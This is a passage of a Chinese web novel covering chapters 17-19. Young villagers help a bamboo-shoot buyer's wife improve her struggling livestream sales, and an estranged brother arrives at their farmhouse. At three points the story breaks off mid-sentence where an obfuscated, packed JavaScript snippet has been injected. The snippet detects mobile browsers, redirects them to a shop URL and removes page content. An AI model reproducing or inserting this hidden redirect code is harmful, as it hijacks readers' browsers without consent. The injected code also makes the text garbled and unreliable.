李乘歌心思细腻,她没有离开,反而蹲下身,帮着阿桂姐整理了一下膝上筐里的笋,用闲聊般的语气轻声搭话,“阿桂姐,你这……是在直播吗?挺辛苦的吧?这样……有人来买吗?” “没呢。”阿桂姐闻言,脸上掠过一丝赧然,轻轻摇头,声音压低了些,像是怕被不远处正在算账的丈夫听到,“其实,都没什么人看。建国不让说,这个直播间,是他前阵子硬是给我弄的。他说光靠他以前那些往外批发的老路子,量上不去,价钱也被压得死死的,好多乡亲辛辛苦苦挖来的好笋,最后……唉。” 她顿了顿,目光扫过院子里堆积如山的春笋,眼里是同样的心疼,“他说想试试现在的新法子,兴许能让山外面更多的人,直接看到买到咱们山里的这些好东西。” “不用经过那么多道手,价钱也能好一点。可是我们都不懂这些新鲜玩意儿,对着个手机,也不知道该说些啥才能吸引人,就只会傻乎乎地拿着笋给大家看,但没人看,更没人信我们这山旮旯里真能有什么好东西。” 这时,卫建国送走了另一拨来送笋的乡亲,擦了把汗走了过来,恰好听到妻子后面的话,脸上那惯常的爽利笑容淡去,添了几分无奈的实诚。 “让你们见笑了。是,我是在弄这个,想让阿桂试试直播,看能不能把咱这山里的笋,直接卖出去,卖个好价钱,也让乡亲们多挣点。可……” 他重重地叹了口气,搓了搓粗糙的大手,“这玩意儿,看着别人弄得热闹,真到自己头上,才知道难。没人气,没流量,说破天也没用。我们这地方偏,快递也贵,好多客人一听要自包运费就跑了……唉,难啊。” 17. 接人 他脸上的笑容带着苦涩与无奈,“没品牌,没名气,光有东西,外面的人不认识、不信你。这直播间,阿桂开了快大半年,订单是一个没有,电费网费倒是贴进去不少。” 他又指了指院子里堆积如山的春笋,语气沉甸甸的,带着一种认命般的无奈,“这些,大部分最后还是得靠我那点跑了几十年的老关系,多少收走一些。价钱是压得低,这我知道,乡亲们背后有怨言,我也明白,有时候连我自个儿都骂自个儿。” “可是不收怎么办?大家辛辛苦苦、起早贪黑挖回来,手上磨出血泡,腰都直不起来。难道真让它烂在家里、烂在地里?我这能力就这么大,也就是尽量别让大家伙儿的汗水白流。自负盈亏,能多兜一点是一点,压价……也是没办法,总比全砸手里强,至少还能换回点油盐钱。” 傅拭雪沉默了。 他之前对卫建国这个“中间商”压价行为产生的那点基于理想主义的本能不满和疏离感,在此刻被一种更为复杂的情绪所取代。 现实就像一杯看似清澈的水,被这番话彻底搅浑,沉淀出底下那些令人不适却无法忽视的真相。 有时候不得不承认,现实就这样——把遮羞布拿开,满目疮痍。 他同样也敏锐地捕捉到了卫建国在说这些话时,那瞬间眼神里闪过的一丝不甘和落寞。 这个看起来被生活磨平了棱角,变得精于计算甚至有些市侩的收笋人。 曾经或许也曾像今天的他和李乘歌一样,年轻气盛,对着这连绵的青山和这些鲜嫩的出产,以及那个不公市场,有过不甘,有过愤懑,甚至……卷起袖子尝试过改变。 但,没有成功。 或者说,撞得头破血流后,在现实面前低了头,选择了另一条更实际却也注定要背负误解和骂名的路。 一种比之前单纯的愤怒和理性化的无力感此刻像藤蔓一样,交织缠绕在傅拭雪和李乘歌的心头。 愤怒还在,但矛头似乎模糊了。 无力感还在,却多了几分理解后的沉重。 原来是这样。 这个他们眼中似乎盘剥乡亲的中间商,肩上扛着的,其实是整个村子乃至附近几个村农产品销路的沉重压力。 他同样也看到了更远的困境,看到了传统渠道的局限与剥削链,甚至笨拙地用自己的方式,哪怕看起来收效甚微也不曾放弃寻找新的出路,尝试打破壁垒。 卫建国看向傅拭雪和李乘歌这两个现在还愿意扎根在土地上的年轻人,嘴角习惯性想扯出一抹开朗的笑,却没能成功,他的嘴角反而微微下沉,最终化作几乎难以捕捉的落寞。 他似乎在他们和自己身上看到了同样的情愫,看到了相似的傻气又执拗的影子。 明知前路可能是断崖,是荆棘,却还不肯彻底熄灭心里那点不甘的火苗,硬着头皮也要往前再探一步的不放弃。 傅拭雪的目光从卫建国坦诚而无奈的脸上,移到阿桂姐那认真却孤寂的直播画面,再落到自己车斗里那些盖着湿布承载着农民清晨辛劳的春笋上。 他深吸了一口混杂着泥土笋香的山间空气,同样在心里问自己。 没有资本,没有渠道,没有品牌,农民的出路,到底在哪里? 难道只能永远困在这个“农东西卖不出价钱”的怪圈里? 他还要端着自己那点可笑的,来自傅家少爷身份残余的‘所谓靠自己’不去‘靠资本’的自尊吗? 他明明靠着傅家二十多年的荫蔽,积攒了普通人难以企及的人脉、见识和资源,难道为了那一点脆弱而骄傲的自尊,就要假装看不见,不肯低头、不肯去务实地利吗? “傅拭雪?”李乘歌敏锐地察觉到他周身气息的骤然低沉和紧绷,立刻伸手,温热的手指轻轻握住了他有些冰凉的手,“你还好吗?是不是想到什么了?” 手背上传来的温度让傅拭雪微微一怔,从激烈的内心拷问中抽离出来。 他反手握了握李乘歌的手,示意自己没事,然后深吸一口气,转向卫建国。 他没有直接回答卫建国的问题,也没有做出任何承诺。 他只是对卫建国点了点头,语气比来时缓和了许多,甚至带上了一丝理解的意味,“卫叔,我们明白了。您和阿桂姐也不容易,这份担子,不轻,我们也不打扰了,就先回去了。” 回程的路上,山风依旧从敞开的车窗灌入,带着雨后竹林特有的清冽。但车内的沉默,却不再像来时那样压抑沉重,反而像暴风雨前的宁静,或春泥下涌动的生机,在无声地酝酿着什么。 “阿桂姐在做的,也许方向是对的。”李乘歌望着窗外不断后退层层叠叠的绿色,轻声开口,更像是在梳理自己的思绪,“只是一个人的力量太小了,方法也太原始。就像拿着最锋利的柴刀,却不知道如何砍断最粗的藤蔓,空有一身使不完的力气,不知道该往哪儿使。” 傅拭雪应了一声,手指在方向盘上轻轻敲击着,“卫叔解决了最基础的收的问题,确保了乡亲们的东西能换成钱,哪怕不多,不至于血本无归,能维系了最基本的生计循环。 “但他没能解决,或者说以他现有的资源和模式,很难解决更核心的‘卖’的问题,如何把这些真正的好东西,跨越千山万水,送到需要真正需要它们的人手里,并实现其应有的、合理的市场价值。” 他顿了顿,继续分析,语气里没有嘲讽,只有客观的审视,“他想解决‘卖’的问题,嗅觉是敏锐的,也尝试了当下最流行的新方法——直播电商。” “信息壁垒、高昂且不便的物流、近乎为零的初始流量、难以建立的品牌信任……这些横亘在深山原生好物与都市品质消费者之间的重重大山,不是靠一两个人、一部手机、一个简陋的直播间,仅凭着一腔朴素的热情和笨拙重复的展示,就能轻易翻越的。” “这需要系统性的策略、专业化的运营和一定规模的资源投入。” “如果我们……”李乘歌抬起头,目光投向远处云雾缭绕的黛色山峦。 她知道,在那片看似沉默的苍翠之下,不仅蕴藏着春笋,还潜藏着无数未被发掘、或虽被发掘却困于深山的山珍、野味、药材、手工艺品……它们天然、优质、带着这片土地独有的灵气与故事,却因为信息、渠道、品牌、物流等重重阻隔,难以抵达更广阔、更需要它们也更能认可其价值的市场,也难以回馈给创造和守护它们的山民应有的、有尊严的回报。 难道,就让它们一直这样,年复一年,在山民的期盼中收获,又在无奈的低价中流逝,最终可能真的烂在仓库里、烂在等待中吗? “我们……也加入呢?”她转过头,看向傅拭雪,眼神里有试探,也有一种破土而出的勇气,“不是像卫叔那样单纯扮演收购和分销的中间环节,也不是像阿桂姐那样单打独斗地直播。” “或许我们能把我们知道的一些新理念、学过的一些方法、接触到的一些资源,和他们深耕这片土地几十年的经验、对产品的极致了解、以及卫叔那些虽然传统但稳定的线下渠道结合起来做点……不一样的、或许能打通某个环节的事情?” 傅拭雪侧目看她,眼神专注。 他没有问[你想做什么]或者[我们能做什么]这种具体需要答案的问题,他只是与她已达成共识般地应了一声,“嗯。” 他的确不是傅家少爷了,但是他还是傅拭雪。 办法会有的,困难是可以被一点一点解决的。 一种无需过多言语,扎实的默契在两人之间悄然流淌,像两条山涧在此处汇合,自然而必然。 帮助卫建国和阿桂姐,帮助他们打开销路,提升农产品的价值,或许不仅仅是帮助几个具体的人,也是在帮助更多像村里乡亲一样勤恳劳作的农民们。 更深一层,这何尝不是在帮助他们自己?在这片他们选择扎根并誓言要把地种好的土地上,扎下更深的根,找到更可持续的生存与发展方式。 “回去,好好想想。”傅拭雪的声音在呼啸的山风中显得异常沉稳而清晰,带着一种试图破开眼前这看似无解的迷雾的决心,“光看着、光在心里焦虑、空想,一点用都没有。” “总得……试试看。”这句话,既是对李乘歌说的,也是对他自己说的。 皮卡车再次驶过清晨他们经过的那道熟悉山弯,轮下又一次溅起细小的水花。 这一次,傅拭雪没有关上车窗,任由带着竹叶清香充满生机的山风更猛烈地涌入车内,吹得人衣袂翻飞。 风吹动了李乘歌额前的碎发,也仿佛吹散了之前萦绕以及他们心头的,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310826|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关于“谷贱伤农”和“出路何在”的那口憋闷之气。 虽然前路依旧模糊,但至少,胸中那股想要做点什么的冲动,变得清晰而有力。 他们像是一同在迷雾中摸索前行的人,此刻虽然还未找到明确的路径,但至少,看到了彼此,也看到了其他同样在摸索甚至已经做出尝试的同行者。 不止是他们。 想让这片土地上的辛勤劳作获得应有尊重,想让农业焕发新生机变得更好,还有很多很多的人。 大家或许散落在不同的角落,用着不同的方式,但冥冥之中,似乎都在朝着同一个方向,笨拙而坚定地努力奔赴。 车子并没有直接开回山湾村那个飘着炊烟的小院。 在驶近镇子边缘时,傅拭雪看了一眼仪表盘上的时间,又瞥了一眼安静的手机屏幕,方向盘轻轻一打,拐上了一条岔路,驶向了通往镇汽车站的方向。 “回家前,我们先绕一下,”傅拭雪目视前方,解释道,“去接个人。” 李乘歌正沉浸在对笋、直播、出路和未来可能性的纷繁思绪中,闻言有些疑惑地转过头看他,眨了眨眼,“接人?谁?” 傅拭雪没有立刻回答,只是将车平稳地停在了汽车站附近一个相对僻静的临时停车点。 - 临城地铁站,出闸口走出一个穿着黑色冲锋衣戴着棒球帽和口罩,身形高挑清瘦的年轻人下了车,手里只拎着一个简单的旅行包。 他四下张望了一下,似乎有些不适应这小镇略显嘈杂的环境。 “傅砚修,这里。”夏叙言朝他招了招手,声音不高,却足够清晰。 傅砚修闻声看去,帽檐下的目光扫过夏叙言,没什么表情,只是迈开长腿,沉默地走了过来。 “上车。” 傅砚修没有多问,直接拉开车门,动作干脆地坐了进去,将旅行包放在脚边,随即把帽檐压得更低了些,几乎遮住了上半张脸。 他声音透过口罩,有些闷,听不出情绪,“他知道你来接我吗?” 夏叙言单手打转方向盘,心里却很明白傅砚修说的他是谁。 “不知道,拭雪一大早就去给二伯母送笋了,这会儿……按照往常,应该还没到家。” 傅砚修没再说话,只是将身体更深地靠进并不算柔软的车座椅背里,闭上了眼睛。 棒球帽檐的阴影将他整张脸笼罩得更加模糊,只露出线条冷硬的下颌和紧抿的唇。 “夏叙言。”他忽然又开口,声音很轻,“别忘了,帮我。” 夏叙言喉结滚动了一下,低低“嗯”了一声。 小皮卡在沉默中驶回了山村,停在了那门楣上挂着一盏温暖小灯的院门前。 车刚熄火,引擎的余温还未散尽,夏叙言深吸一口气,正要推门下车。 “吱呀——” 一声轻响,那扇原木色的院门,却先从里面被拉开了。 暖黄的光晕从门内流淌出来,勾勒出一个修长挺拔的身影。 傅拭雪站在门口,身上似乎还带着刚在厨房沾染上的淡淡的柴火与食物交织的烟火气。 他的目光平静地越过正欲下车的夏叙言,直接落在他身侧傅砚修身上。 “你来了。”傅拭雪开口道,声音不高,听不出什么特别的情绪。 随着他的话音,李乘歌和沈摘星也闻声从堂屋里走出来。 李乘歌手里还拿着一把择了一半的青菜,沈摘星则好奇地跟在后面,踮着脚看向门外这位陌生的来访者,大眼睛里满是探究。 最后一个穿着浅紫色休闲外套,长发微卷的身影,施施然地走到院门前。她手里摇着一把颇具古意的团扇,带着一种悠然自得的神情,抬眼看向正要下车的傅砚修。 当看清宋鹤眠的面容时,傅砚修那双藏在棒球帽檐阴影下的原本平静无波的丹凤眼,骤然睁大,瞳孔里清晰地映出了愕然的惊诧。 这大概是这位总是喜怒不形于色的傅家二少,近期最外露的一次情绪波动。 宋鹤眠轻倚在门边,好整以暇地看着傅砚修脸上难得一见的错愕表情,红唇勾起一个明媚又带着点狡黠的弧度,她用蒲扇轻轻点了两下自己的鼻尖,轻笑出声。 “怎么了,弟弟?看到姐姐我……很惊讶呀?” 18. 询问 傅砚修垂下头,棒球帽的阴影彻底笼罩了他的眉眼,只露出紧抿成一条直线的唇,那唇角微微向下撇着,不像是生气,倒像是带着点说不清道不明的,仿佛计划被打乱又不好发作的细微委屈。 “吃饭了。”傅拭雪的声音适时响起,打破了门口的僵局。 他神色依旧温和,但眼尾略微弯了一下,他侧身让开门口,“都先进来吧,别在门口站着。叙言,将车停好。” 夏叙言得了指令,立刻响亮地应了一声,几乎是手脚并用爬回皮卡驾驶座,将车挪到旁边不碍事的地方。 那动作快得像是生怕慢了一秒,傅拭雪就会看穿他内心那点不安分的小九九,然后秋后算账。 傅砚修最终什么也没说,只是抬手,近乎赌气般地将帽檐又往下用力压了压,几乎要遮住鼻梁。 他提着那个轻便的旅行包,迈开长腿踏进了这方暖黄灯光笼罩的小院。他的背影挺直,却透着一股格格不入的紧绷。 经过宋鹤眠身边时,他脚步未停,眼神没有丝毫偏移,更没有打一声招呼。 宋鹤眠丝毫不在意,反而笑意更深,她轻摇着那柄古雅的团扇,步态悠闲地跟在他身后。 小院不大,却在精心打理下显得格外整洁温馨,充满了生活的踏实感。 石桌上还放着李乘歌没择完的青菜,灶间的锅里飘出米饭的香气,混合着院角菜畦里传来的泥土和植物气息。 米饭团子被这突如其来的热闹和陌生人气味惊动,从它那个铺着软垫的小窝里颠颠地跑出来,先是好奇地围着浑身冒着冷气的傅砚修转了一圈,小鼻子嗅了嗅他的裤脚,发现这个大个子毫无反应,便又摇着尾巴转向香气袭人的宋鹤眠,试探着去嗅她飘逸的裙摆。 宋鹤眠正饶有兴致地打量傅砚修,感觉到脚边的触感,感觉到脚边毛茸茸的触感,低头一看,用团扇的扇面轻轻抵住小白团子凑过来的脑袋,将它稍稍推开一点,嘴角却还挂着笑,“小家伙,姐姐这可是新裙子,轻点踩,别留下你的小梅花印。” “姐姐心情可不太美丽哦。” 米饭团子被她推开也不恼,抬头用湿漉漉的黑眼睛看了看她,还是好脾气地摇着尾巴,不再执着于裙摆,转而继续在几个人的脚边轻快转悠。 傅砚修背对着宋鹤眠,站在院子中央,背脊挺得笔直。 他没看任何人,目光似乎飘向厨房里忙碌的身影,但仔细看,那眼神有些放空,嘴唇几不可察地微微噘了一下,后又迅速抿紧,白皙的脸颊甚至能看出一点细微的鼓起,像只被惹毛了却又不能立刻炸毛的小兽,独自站在那儿生闷气。 宋鹤眠看似在漫不经心地逗狗,眼角的余光却一直若有似无地锁在傅砚修身上。 见他自始至终连一分目光都吝于投给自己,仿佛她这个人、她的存在、她的刻意靠近,对他而言都是彻底的虚无,。 她脸上那明媚的笑意淡了些许,嘴角的弧度微微下沉,握着团扇柄的手指也稍稍收紧。 傅砚修,你就真的……连一点点注意力,都不愿意分给我吗? 李乘歌端着两杯刚沏好冒着热气的茶从厨房走出来,主动打破这略显古怪的气氛,“你们好,我是李乘歌,这是沈摘星。一路过来肯定辛苦了,都还没吃饭吧?” “我们正好也在准备午饭,粗茶淡饭,要是不嫌弃的话,一起吃点,就当给你们简单接个风。” “嗯嗯。”沈摘星也赶紧从李乘歌身后探出小脑袋,跟着点头,小声而乖巧地补充道,“哥哥姐姐好。” 傅砚修的目光这才从虚无中收回,他的目光扫过李乘歌温和的笑脸和沈摘星怯生生的眼。 然后他对两人颔首,声音透过口罩,依旧没什么温度,但至少维持了基本的礼节,“打扰了。” 顿了顿,他才补上自己的名字,简洁至极,“傅砚修。” “我叫宋鹤眠。不请自来,打扰啦。”宋鹤眠在他话音落下的瞬间,无缝衔接,笑容重新变得明媚耀眼,声音清脆悦耳,带着恰到好处的热情。 李乘歌笑着将温热的茶杯分别递给他们,“不打扰,远来是客。先喝口热茶歇歇,驱驱路上的寒气。” 傅砚修接过茶杯,指尖触到温热的瓷壁,道了声谢,便不再言语,只是垂眸看着杯中缓缓舒展沉浮的茶叶。 宋鹤眠则饶有兴致地品了一小口,眉眼舒展,真心实意地夸赞道,“好茶,清甜回甘,是山泉水泡的吧?” “嗯。”李乘歌点了点头,“饭还要再等一会儿,饿的话可以先吃点水果垫垫。” 随后又转身从厨房端来一小碟洗得水灵灵的青枣和几个黄澄澄的橘子,放在石桌上,然后便自然地转身回了厨房继续忙碌,将空间留给了客人。 沈摘星像条小尾巴一样跟在她后面溜进厨房,扯了扯正在切肉的傅拭雪的衣角,踮起脚,凑到他耳边,用气声小声说,脸上带着点困惑。 “傅哥哥,新来的哥哥姐姐……好像,嗯……不太一样,也有点不太高兴?那个哥哥一直不说话,脸好冷,姐姐笑起来很好看,但感觉怪怪的,好像不是真的那么开心。” 傅拭雪放下刀,在围裙上擦了擦手,弯腰,平视着沈摘星的眼睛,轻轻揉了揉她的头发,声音温和而平静。 “嗯,每个人都是不一样的,来这里的原因和心情也可能不同。就像我们当初刚来的时候,心里也有很多不确定和想法,对不对?没关系,慢慢相处,大家熟悉了就好了。” 他直起身,看了看锅里的水汽,又看看案板上的食材,语气轻松起来,“正好,以后咱们小院人多了,饭桌上也更热闹。走,帮哥哥打下手,咱们争取多学两个拿手菜,以后招待客人。” 沈摘星用力点点头,被傅拭雪平静的态度感染,心里的那点小忐忑消散了不少,脸上重新露出笑容,乖巧地帮忙递起东西来。 在厨房里帮着递东西、剥蒜,忙得不亦乐乎。 傅拭雪很快便做好了六菜一汤,虽都是家常菜,但色香味俱全,摆满了不大的石桌。 傅砚修吃得很少,也很安静,几乎只夹面前的菜,咀嚼的动作很慢,似乎在走神。 宋鹤眠则截然相反,她落落大方,对每道菜都品尝并适当地夸赞,与李乘歌、夏叙言甚至沈摘星都能聊上几句,笑语嫣然,很快便融入了饭桌的氛围,只是她的目光,总会不经意地掠过对面沉默的傅砚修。 傅砚修,我们来日方长。 - 饭后,阳光正好,暖洋洋地洒满小院。 几个人一起动手,很快便为傅砚修和宋鹤眠搭好了简易但结实舒适的床铺,铺上了干净松软带着阳光味道的被褥。 小院里就两个厢房,所幸房间都很大,原本里面的宽阔的大床被搬出,之前只是放进两张小床,现在是三张小床啦。 东厢房是女生们的寝室,李乘歌、沈摘星和宋鹤眠的三张小床紧紧相挨着,小床对面还有一个小小沙发,地面上铺着毛绒的地毯。 西厢房是男生们的寝室,自然住着傅拭雪、夏叙言和傅砚修,男生房间的布局就宽阔了一些,东边放着两张小床,西边放着一张小床。 夏叙言一边卖力拍打着枕头使其蓬松,一边用眼角余光悄悄观察着傅拭雪和傅砚修。 自从进了院子,傅砚修便几乎没说过话,只是沉默地整理着自己带来的极少行李,动作间透着一种“别来烦我”的疏离感,但周身的气息又很委屈。 他偶尔还会极快地瞥一眼傅拭雪的方向,那眼神里带着一种期待。 仿佛在无声地说。 你怎么还不来找我说话? 哼,既然你不开口,那我也不开口。 看谁先低头。 夏叙言看着心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310827|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门儿清,又觉得有点好笑,现在看来两人没有要打架的苗头,他松下一口气,识趣地抱着换下来的旧床单走出西厢房,将空间留给两人,他站在西厢房门口看着东厢房。 东厢房门口,宋鹤眠一遍整理着床铺,一边和李乘歌、沈摘星说着什么,偶尔还能听到沈摘星被逗乐发出的轻笑声,气氛显得轻松融洽许多。 下午的时光就在这种种表面宁静祥和内里却涌动着微妙暗流的气氛中缓缓流逝。 傅拭雪看了眼墙上老式挂钟的时间,估摸着差不多了。 他抬起头,正好对上从东厢房窗户望出来的李乘歌的视线,两人交换了一个心照不宣的眼神。 傅拭雪擦干净手,李乘歌也放下手里的活计,两人一起走到西厢房门口。 两人来到西厢房,用指节轻轻敲了敲敞开的门板,发出笃笃的轻响。 傅砚修正背对着门口,站在窗边,望着远处层叠起伏苍翠的山峦。 “傅砚修。”傅拭雪的声音平稳,听不出特别的情绪,就像寻常告知,“我和李乘歌下午要出去一趟,谈点事情。你和宋小姐刚来,可以先休息休息,或者让叙言和摘星带你们到村里、附近山上转转,熟悉一下环境。” 闻言,他缓缓转过身,棒球帽和口罩已经摘下,露出一张过分白皙清俊的脸庞,一双清冷的眸望过来。 “傅拭雪。” “你不恨我吗?”他问,停顿了一下,似乎在斟酌用词,又像是在陈述一个事实,“要不是因为我,你现在……应该还是傅家的大少爷,不会在这里。” 这句话问得突兀,直白,甚至带着点自毁般的尖锐。 它撕开了表面温和的假象,直指那个他们之间一直存在却从未被如此直接提及的症结。 傅拭雪的动作顿了顿,他看着傅砚修那双执拗地看着自己的眼睛。 然后,他摇了摇头。 “我从来没有怪过你。”他的目光坦荡,“那些事,与你无关。” 他没有解释那些事具体是什么,也没有长篇大论地安慰或开导。 只是这简单的一句话,像一块温热的石头,轻轻放在了傅砚修面前。 傅砚修看着他,嘴唇动了动,似乎想反驳,想追问,想确认。但最终只是移开了视线,重新看向窗外,只留下一个略显倔强的侧影。 “好好休息。”傅拭雪没有再追问,也没有多做停留,说完这句话,便对李乘歌点了点头,两人转身离开了小院。 皮卡车发动,驶离了安静的村落,沿着蜿蜒的山路,朝着卫建国家的方向开去。车厢里很安静,傅拭雪专注地开车,李乘歌则望着窗外出神。 两人都没有再谈论刚才傅砚修那句突兀而沉重的问话,仿佛那只是午后吹过竹林的一阵稍显急促的风,过去了,便只留下竹叶沙沙的余响。 李乘歌也体贴地没有去深究他们兄弟之间那些复杂的纠葛,只是将目光投向更远处,思考着即将要做的事情。 到了卫建国家,院子里的笋似乎比昨天又多了些。 阿桂姐依旧坐在轮椅上,膝上架着手机,对着镜头轻声细语地介绍着,直播间的人数依旧寥寥。 看到傅拭雪和李乘歌来了,她眼睛亮了一下,但又有些不好意思。 李乘歌蹲下身,语气温和,“阿桂姐,我们今天来,是想试着跟你一起播一会儿,看看能不能帮上点忙。” “那……那怎么好意思麻烦你们……”阿桂姐局促地搓着手,“我们这……播得不好,没人看,还耽误你们时间……” “不麻烦,我们一起试试。”傅拭雪接过话头,语气沉稳,“阿桂姐,您就像平时一样,该怎么介绍还怎么介绍,我们就在旁边帮您打打下手,补充一些您可能不太熟悉的信息,或者咱们试试看调整一下镜头角度、光线,让画面看起来更清楚舒服,行吗?” 19. 协助 阿桂姐在两人的目光下点了点头,她将目光继续放回屏幕上。 手机正开着直播应用,屏幕上方的观看人数,艰难地在“7”和“9”之间来回跳动。 她面前的小竹筐里放着几支刚剥去外层老壳的春笋,嫩黄笋肉水灵灵的,沾着未干的露水。旁边的矮凳上,还堆着一小摞带着新鲜泥土的黄泥拱。 阿桂姐清了清嗓子,努力让声音更清晰,对着镜头开始了她今天不知道第多少遍的重复。 “大家好,欢迎来到来到我们‘山里人家’的直播间。”她说话带着浓重乡音,“今天还是给大家看看我们山里刚挖的春笋,都是都是乡亲们一大早,天还没亮就上山挖的,带着露水,新鲜得很。” 她拿起一支笋,粗糙手指小心翼翼地托着凑近镜头,“大家看,这个就是黄泥拱,埋在黄泥地里,破土的时候尖尖是黄的,这种笋最嫩,最鲜甜,炖汤、炒肉都好吃……肉是白的,没什么渣。” 镜头有些晃动,光线也不够好,笋的细节其实看不太真切。 屏幕下方只有两条系统自动推送的“欢迎新朋友”消息滑过,除此之外一片寂静。 傅拭雪则走到轮椅侧后方,观察了一下手机的角度和光线。他今天穿了件简单的灰色棉麻衬衫,袖口随意挽到小臂,露出线条流畅的手腕。 “阿桂姐,光线从您右后方过来有点背光。”他动作很轻,没有贸然去碰阿桂姐的直播设备,只是低声建议,“我们把轮椅往左转一点点,让光从侧面照过来,行吗?您别动,我帮您推。” 阿桂姐局促地点点头。 傅拭雪小心调整轮椅角度,又从旁边拿过浅口竹编盘子垫上干净布放在阿桂姐膝前,“用这个垫着,笋放上面显得更干净,也方便您拿取。” 就这么一个小小的调整,画面里的光线立刻柔和明亮了许多,阿桂姐的脸和手中的笋不再隐在阴影里,那嫩黄的色泽和细密的纹理清晰可见。 李乘歌也适时地蹲在了阿桂姐的左手边,这个位置处于镜头的边缘,既能被收音捕捉到又不会喧宾夺主。 “各位直播间的朋友们下午好。”她声音清亮,语调自然,“我们现在在临城山区卫家小院。阿桂姐手里拿的是今天清晨刚从后山竹林挖出的黄泥拱春笋。” “大家可以看到,它的笋壳是黄褐色的,顶端还带着湿润的泥土,这是因为它生长在富含矿物质的黄泥层里,破土艰难,所以积累的风味物质也特别足。” 她一边说一边示意阿桂姐轻轻掰开一点笋尖,露出里面雪白细腻的笋肉,“看,肉质非常紧实洁白,几乎看不到纤维。这种笋,用来做江南名菜‘腌笃鲜’是绝配,咸肉的醇厚、鲜肉的滑嫩,全靠这一口春笋的鲜甜来提味中和。” 她顿了顿,语气更加生活化,“当然,最简单的做法最能体现食材本味。就像阿桂姐说的,清炒,只需一点点猪油、一撮盐,大火快炒,吃的就是这口脆嫩清甜的山野气息。” 阿桂姐听着,眼睛慢慢亮了起来,她顺着李乘歌的话不那么紧张了,“对对,我们山里人春天就靠这口鲜。挖笋要赶早,露水没干时挖才水灵。” 她用指甲在笋根处轻轻一掐,果然渗出清亮汁液。 “是的。”李乘歌笑着点头,又拿起旁边那支斑竹笋,“再看这支,这叫斑竹笋,因为它生长的竹林是斑竹。这种笋体型修长,口感更加脆爽,适合快炒,或者焯水后凉拌,淋一点酱油和香油,撒点葱花,就是一道开胃的春日小菜。” 她转向阿桂姐,语气熟稔,“阿桂姐,您家里平时怎么料理这种斑竹笋?有没有特别吃法?” 阿桂姐被引导着话也多了,“这个啊,我有时切片和腊肉一起炒,腊肉咸香,笋子脆甜,特别下饭。有时也剁碎和鸡蛋一起煎成笋丁蛋饼,我家小孙子最爱吃。” 两人一唱一和,一个提供专业诱人的描述和烹饪思路,一个补充最真实质朴的农家吃法和生活气息。 傅拭雪在一旁偶尔低声提醒镜头角度,或将品相特别好的笋悄悄递到阿桂姐手边。 推荐了一小时,直播间里死水般的寂静终于被打破了。 观看人数开始以一种缓慢却稳定的速度爬升,从个位数,到十几,再到二十几、三十几……数字跳动的频率,比之前快了许多。 屏幕上开始零星出现真实的互动。 【山野闲人:笋看着真不错,是现挖现发吗?能保证新鲜不?】 【江南食客:斑竹笋凉拌确实清爽。主播能看看笋根老不老吗?】 每一条评论出现,李乘歌都会轻声地念给阿桂姐听。 阿桂姐一开始还有些慌乱,凑近屏幕眯着眼辨认快速滑过的字,然后尽量清晰回答,“现挖的,今天挖今天或明天就能寄出去……笋根不老,我们都是挑刚破土不久的挖。” 当有人问及价格和运费时,李乘歌没让阿桂姐独自面对难题。 她接过话头,坦诚清晰,“各位朋友,感谢大家对咱们山里春笋的喜爱。” “这里我们也需要坦诚地跟大家说明一下,因为咱们地处山区,快递运输确实比常规地区麻烦,时间和成本会略高。目前初步定价10元一斤,这个价格是基于笋的品质和乡亲们的辛苦劳作来定的,运费实收或者按区域统一定价。” 她语气真诚,没有任何闪躲或夸大,“具体细节下播后会整理成公告。今天主要是想让大家先看看山里的好东西,感受这份新鲜。如果真有朋友感兴趣,可以关注或私信了解详情。我们保证,发出的每一支笋都像今天在直播间看到的一样,带着山里露水和泥土香气。” 阿桂姐看着屏幕上跳动的数字和渐渐多起来的评论,眼眶有些发热。 她不再只是对着冰冷的镜头自言自语。 她感觉到山外面的世界,好像真的有人,在透过这个小小的屏幕,看着她,听着她,对她手中的山货感兴趣。 阳光继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310828|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西斜,将院子里的一切镀上温暖的橘色。 阿桂姐的声音越来越自然,偶尔能在李乘歌引导下讲个挖笋小趣事。 傅拭雪找来一小块木板,用炭笔写下“山野珍鲜·现挖春笋”几个朴拙的字,立在阿桂姐身后笋堆旁作背景板。 李乘歌正弯腰整理竹筐里散落的笋,一缕碎发滑落颊边。她下意识抬手去捋,指尖却碰到另一只温热的手,傅拭雪几乎同时伸出手想帮她拂开那缕碍事的发。 两人手指在空中轻轻相触。 李乘歌抬眼,撞进傅拭雪深褐色的眸子里,那里面映着午后阳光和她微微怔愣的脸。 时间仿佛静止了一瞬。 